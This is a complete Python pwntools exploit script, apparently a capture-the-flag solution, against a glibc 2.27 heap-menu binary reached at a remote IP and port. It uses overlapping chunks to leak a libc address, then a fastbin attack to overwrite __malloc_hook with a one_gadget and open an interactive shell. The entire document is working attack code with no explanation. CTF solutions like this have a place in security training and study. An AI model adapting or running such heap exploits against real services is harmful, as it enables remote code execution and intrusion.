1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99
| from pwn import *
elf = ELF('./pwn2') libc = ELF('./libc-2.27.so')
r = remote('113.201.14.253', 16066)
context.log_level = 'debug' one_gadget = 0x10a41c
def create(size, content): r.recvuntil(b'Choice: ') r.sendline(b'1') r.recvuntil(b'size: ') r.sendline(bytes(str(size), encoding='utf-8')) r.recvuntil(b'content: ') r.sendline(content)
def edit(id, content): r.recvuntil(b'Choice: ') r.sendline(b'2') r.recvuntil(b'idx: ') r.sendline(bytes(str(id), encoding='utf-8')) r.recvuntil(b'content: ') r.sendline(content)
def delete(id): r.recvuntil(b'Choice: ') r.sendline(b'3') r.recvuntil(b'idx: ') r.sendline(bytes(str(id), encoding='utf-8'))
def show(id): r.recvuntil(b'Choice: ') r.sendline(b'4') r.recvuntil(b'idx: ') r.sendline(bytes(str(id), encoding='utf-8'))
create(0x68, b'a'*0x68) create(0x100, b'a'*0x100) create(0x68, b'a'*0x68) create(0x88, b'a'*0x88) create(0xf8, b'a'*0xf8) create(0x88, b'a'*0x88)
delete(0) create(0x68, b'a'*(0x68-0x8)+p64(0)+b'\x80')
delete(1)
create(0x170, b'a')
delete(3) create(0x88, b'a'*(0x88-0x8)+p64(0)+b'\x90') delete(4)
create(0x180, b'a')
for i in range(7): create(0x88, b'a') for i in range(7): delete(12-i) delete(5)
edit(4, b'a'*(0xf8+0x8-1)) show(4)
r.recvuntil(b'aaaaaaaaaaaaaa\n') main_arena_88 = u64(r.recvuntil(b'1.Add', drop=True).ljust(8, b'\x00')) print(hex(main_arena_88)) malloc_hook = (main_arena_88 & 0xFFFFFFFFFFFFF000) + \ (libc.symbols['__malloc_hook'] & 0xfff) print(hex(malloc_hook)) libc_base = malloc_hook-libc.symbols['__malloc_hook'] one_gadget = libc_base+one_gadget
delete(2) edit(1, b'a'*(0x100)+p64(0)+p64(0x70)+p64(malloc_hook-0x10))
create(0x68, b'a')
create(0x68, b'a'*0x10+p64(one_gadget))
r.recvuntil(b'Choice: ') r.sendline(b'1') r.recvuntil(b'size: ') r.sendline(b'1')
r.interactive()
|